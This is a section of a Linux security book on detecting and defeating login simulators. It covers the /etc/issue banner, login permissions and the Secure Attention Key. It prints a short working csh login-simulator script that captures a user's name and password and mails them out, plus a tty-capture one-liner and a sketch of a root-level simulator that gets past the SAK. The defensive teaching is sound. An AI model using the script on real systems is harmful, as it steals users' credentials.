Section 6.9 Defeating Login Simulators

---

6.9 Defeating Login Simulators

A login simulator is a program that simulates the Linux login sequence so that a user thinks that she is entering her account name and password to "the system" but in reality is telling her password to a cracker. Typically, the login simulator then will output Login incorrect and start the real login program so that the user will assume that she simply mistyped her password, types it in again, and does not give the matter a second thought.

A nonroot user needs physical access to the console or a terminal connected to a serial connection to "plant" a login simulator. If the serial line is attached to a modem, the rogue merely needs to dial into that modem from anywhere to plant the login simulator. This is why passwords should be especially hard to crack if a modem or unsecured local access is involved.

Telnet (and FTP and other network services using ports below 1024) are not vulnerable to login simulators because the client starts the service by connecting to a port number below 1024. Only a process running as root may start a server to listen on these ports. Thus, only root processes handle the connection until, in the case of telnet, the user's shell is spawned.

A login simulator is a particularly effective and trivial-to-implement attack, yet it is very hard to guard against. Any ordinary user can install one on a terminal that he has physical access to. How easy is it?^[13]

^[13] I carefully considered whether to provide this script. I decided that showing how easy it was to do was more important than releasing information that most crackers probably know anyway.

 #!/bin/csh -f # Only for demonstration # echo -n does not include a trailing newline # "<$" reads a line from standard input # exec this script from login shell cat /etc/issue echo -n "pentacorp login: " set x="$<" stty -echo echo -n "Password: " set y="$<" echo "x=$x y=$y"|Mail -s got1 [e-mail] echo "" echo Login incorrect echo "" exit 

Many users use weak passwords, making it easy for a cracker to guess a password when trying to get into the system. This then gives a cracker an account to start with to begin harvesting other passwords. The solution, of course, is the use of stronger passwords and this is discussed starting in "Avoiding Weak and Default Passwords" on page 42. (For an entertaining case study of a cracker who fell victim to another cracker's login simulator, please read "I'm Innocent, I Tell Ya!" on page 382.)

The login sequence does provide a weak solution to this problem by displaying to the user's screen the contents of the /etc/issue^[14] file only before its first hostname login: prompt for the user's account name. The contents of /etc/issue are not displayed after the Login incorrect error. Thus, if the user is exceptionally alert, she will notice this and tell a SysAdmin.

^[14] The getty program is actually the program that interprets and outputs the /etc/issue file prior to starting login via exec().

The reason this mechanism works is that the contents of /etc/issue is output only prior to a user's first attempt to log in.^[15] It should not be displayed after the Login incorrect error message. However, after the login simulator gets the results of the user's first attempt to log in and exits, the real login process will be starting for the first time and will output the contents of /etc/issue.

^[15] After a number of failed login attempts the login program will exit, causing init to start another getty program which will output the contents of /etc/issue and output a login prompt. A login simulator could generate this number of prompts and exit, and thus give identical output to that of the real login process, but most users would become suspicious that they "mistyped" their password that many times.

The following annotated examples illustrate this. The contents of /etc/issue are Pentacorp Linux. The first example is a normal system with no login simulator.

 Pentacorp Linux     Contents of /etc/issue m5 login: murray    Note host name m5 outputted Password: Login incorrect                     Note /etc/issue not output login: murray       Note host name m5 not output Password: Last login: Fri Mar 24 23:20:24 on ttyp8 You always have mail. $ 

This next example is with a login simulator running that exits after getting one user account and password.

 Pentacorp Linux     Contents of /etc/issue m5 login: murray    Note host name m5 outputted Password: Login incorrect Pentacorp Linux     Contents of /etc/issue repeated!!!!! m5 login: murray    Host name repeated!!!!! Password: Last login: Fri Mar 24 23:20:24 on ttyp8 You always have mail. $ 

When a user logs out of a console or serial connection (a nonnetwork connection), getty does a chown() of the tty device back to root and a chmod() to 600, thus allowing only root to read from or write to the device. Unlike some versions of UNIX, these new permissions affect any process that already has the device open. This is because the permissions are checked on each read() and write() system call, unlike most UNIX systems, where the permissions are checked only when the file is opened or created. This prevents the process from continuing to read from the tty device.

This specifically prevents a rogue from doing

 head -2 < /dev/tty1 > foo& exit 

to try to capture the output of whoever tries to log in next.

6.9.1 Update /etc/issue

This recognition of a login simulator can be made much more effective by advising the user of this possibility right in the /etc/issue file. You are welcome to copy my /etc/issue file which is very similar to:

[View full width]
 This is a private computer system. Unauthorized access is prohibited. Information here is  proprietary and confidential. Your identifying information and activities are being  logged. Violators will be prosecuted. This message is displayed only at the start of the login sequence. If you see this  message after attempting to log in and receiving "Login incorrect" you might have been  the victim of a login simulator which has stolen your password. If this happens, notify your system administrator by the fastest possible means! Joe's  pager number is 800-999-9999. 

This file is on the CD-ROM.

It is important to note that nowhere in this /etc/issue message does it say what the version of the Linux kernel is, what the distribution is, or even that the system is Linux. This is very deliberate. That identifying information would enable a cracker to use only vulnerabilities that are known to work on that version of Linux. By not including that information, it becomes harder for a cracker to break in and will increase the chances that he will give up and go away.

It is important to say in the /etc/issue and /etc/issue.net files "Unauthorized use forbidden"; do not say "Welcome." Failure to follow this will diminish greatly your ability to prosecute crackers in your system because you failed to say "keep out" and, if you said "Welcome," you actually invited them in; court cases have been lost because of this. Other services, too, should follow these guidelines. For FTP, the message file typically is ~ftp/welcome.msg or ~ftp/.message.

Note also that we do not give a system name, purpose, or company. You might want to give some identifying information that does not advertise the importance of the system. Giving the name ADCWS is preferable to Accounting Department check writing system. The latter is an invitation to embezzle just as Pentacorp R&D is an invitation for industrial espionage.

In order to use this strategy, first you must remove what I consider to be brain damage from the startup scripts. Specifically in Red Hat, Mandrake, and even Slackware, the startup scripts in /etc/rc.d will overwrite the /etc/issue (and /etc/issue.net) when booting up. In Red Hat and its derivatives, this is done in the /etc/rc.d/rc.local file. In other distributions, the file causing this can be found with the following command, as root. It will search these files for this problem and load them into your favorite editor so that you can search for issue and comment out the evil lines by inserting a "#" at the start of each of the matched lines.

 cd /etc/rc.d favorite_editor `grep -l issue * */*` 

By making this change, the system will not alter the /etc/issue and /etc/issue.net files.

Additionally, it is very important to prevent ordinary users from invoking /bin/login.

This is because since getty is the program that outputs /etc/issue, if the cracker can output Login incorrect and then exec /bin/login, the cracker will defeat this detection mechanism. The /bin/login program is normally distributed with mode 4755 which I consider to be a security bug. The only reason for this feature is the minor convenience of allowing someone from her shell to issue the command

 $ login me2 

to log in to another account directly rather than logging out first. This also might be used in some shell scripts but in all of these cases the su command

 exec su - me2 

would make a fine replacement. I suggest issuing the following command to correct this security hole:

 chmod 700 /bin/login 

6.9.2 Tweak /bin/login

There are two tweaks that could be done to /bin/login that would also add to security. The first would be to state the number of incorrect login attempts just now. If the first attempt was successful, the following message might be output after the last login line:

 User murray logged in on the first attempt on ttyp8 (If you saw "Login incorrect" contact the SysAdmin) 

If a user failed one or more attempts, the number of failed attempts would be displayed. The different wording should make this message more noticeable.

 User murray logged in after 1 failed attempt on ttyp8 

The second tweak would be to note how long since the previous person logged out. Thus, if it is a short time, you should be suspicious. You even could have login generate e-mail to the SysAdmin. A message might be output after the User X logged in ... message discussed above.

 User murray logged in 15 hours after user giggles logged out 

In the following case there might have been a login simulator active.

 User murray logged in 2 seconds after user giggles logged out Suspiciously short idle interval: SysAdmins being notified 

The login program could disable the account if this occurs. For more sophisticated solutions, including one requiring minor kernel modifications, see "Hardening for Very High Security" on page 306.

6.9.3 Kernel Support (Secure Attention Key)

Since the 2.2 Linux kernels there has been support for a Secure Attention Key (SAK). This is a key or sequence of keys that, when pressed, will guarantee that the "login prompt" that a user will see is the real one, not a login simulator. Also, it guarantees that the real system login program, not a login simulator, will be reading the user's account name and password.

In experimenting with this, however, on a 2.2.12 kernel I find it too buggy to be considered ready for production. Specifically, the terminal states are not properly reinitialized. If the SAK was entered without X running, sometimes I then found alphabetic keys generating escape sequences. If X (Gnome) was running, the console failed to stop displaying the X windows even though the processes were killed. A reboot from a remote telnet session was used to get the console to be usable again. Killing X might have been sufficient.

The SAK is prompted from the Orange Book, which essentially says^[16] that there must be a way for the user to initiate a login sequence that is guaranteed to be free of login simulators. It is important to note that the SAK presently in Linux is not strictly a guaranteed SAK (Trusted Path). This is because although it will kill off any login simulators currently listening on the tty device, it does not prevent a login simulator from starting to listen on the device immediately after the SAK is pressed. In fact, such a login simulator could be implemented easily by having it fork a child that opens the tty device. When the SAK causes the child to be killed, the parent opens the tty device and issues read() requests.

^[16] It says exactly:

3.3.2.1.1 Trusted Path

The TCB shall support a trusted communication path between itself and users for use when a positive TCB-to-user connection is required (e.g., login, change subject security level). Communications via this trusted path shall be activated exclusively by a user of the TCB and shall be logically isolated and unmistakably distinguishable from other paths.

However, this advanced login simulator would work only running as root. This makes it a much smaller threat. The reason for the root requirement is that when the SAK causes the kernel to kill all processes that have that tty device open, init will detect this and start another getty. This getty immediately will change the permissions on the tty device to be owned by root and have mode 600. This will prevent any nonroot process from reading it before the intended victim has a chance to start typing.

While this advanced login simulator will be fighting the real login process for data, there will be a 50 percent chance that the simulator will get the data. Because this advanced login simulator requires root permission, it is easier for those crackers that obtain root access simply to install a Trojan in the real login process.

I recommend a kernel modification to log if any unauthorized process is killed when this happens via the kernel's standard logging routine. Various alerts could be generated including e-mail, paging you, or even flashing a warning light. See "Paging the SysAdmin: Cracking in Progress!" on page 620.

For a true Trusted Path, the SAK function do_SAK() should set a flag for the tty device that only allows root to open the device, and getty should be able to open it for exclusive use. Of course this exclusive use restriction will need to be lifted when someone has logged in. A possible alternate semantic for this flag would be to treat the tty device as having mode 600 and having been owned by root until the login program completes the login process. This would be trivial to implement.

An ioctl() command could be added that login would invoke to clear this flag. These kernel modifications could be accomplished in a few hours and would greatly increase security.

The SAK may be enabled after booting via

 echo 1 > /proc/sys/kernel/sysrq 

or equivalent and this may be done from a startup script. Once enabled, for x86 platforms a user presses Alt-SysRq-k. The SysRq key also is known as the Print Screen key. To be absolutely precise, press and hold down the Alt key. While holding down the Alt key, press and hold down the SysRq key. While holding down the Alt and SysRq keys, press the "k" key.

If you had any processes running on the terminal they will be killed and the login prompt should be displayed. Release all keys. For SPARC platforms the sequence is ALT-STOP-k.

Note that there are other SAKs that might be considered security holes. Some sequences will force a reboot regardless even of whether anyone is logged in, allowing a Denial of Service attack. There are other keys that will alter the kernel logging level, allowing a rogue to hide her actions.

It is recommended that most or all of these other keys be disabled. To disable them edit

 /usr/src/linux/drivers/char/sysrq.c 

Search for void handle_sysrq(at the beginning of a line). In vi, the pattern

 ^void handle_sysrq( 

may be used. Deactivate most or all of the case statements except

 case 'k': 

by deleting the code, using #ifdef notdef or similar, or commenting it out. Then rebuild the kernel and reboot, keeping a bootable backup copy of the kernel in case of problems.

SAK will work on the console, virtual terminals, and some serial lines. Support for it is in some cards providing multiple serial ports. Naturally you will want to verify your usage and test it carefully before trusting it. Certainly, a simple test is to issue

 (date;sleep 600) > /dev/ttyX 

from a different terminal (where X would be the tty device that the SAK will be issued from). Then issue the SAK and verify that the date and sleep commands are killed. I have verified this to be the case in the 2.2 kernel.

---

Top